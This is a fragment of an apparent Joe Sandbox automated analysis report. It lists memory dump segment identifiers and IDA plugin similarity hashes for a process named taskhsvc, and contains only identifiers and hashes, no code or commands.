                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: +$(#
                                                                                                                          • API String ID: 4216919130-1516612515
                                                                                                                          • Opcode ID: 11fd76a950dc98230a76c0998af6996c877cb714673e4a044f7ae499fb45ebf6
                                                                                                                          • Instruction ID: 2896924d94d4ea93ff15794b7aa146da1a6fedf65e55a4fa9cbe3ec7b7b7742d
                                                                                                                          • Opcode Fuzzy Hash: 11fd76a950dc98230a76c0998af6996c877cb714673e4a044f7ae499fb45ebf6
                                                                                                                          • Instruction Fuzzy Hash: ECF0F8B05093149FD700DF09D485769BBF0FB88704F01989AF688AB240D3799984CF62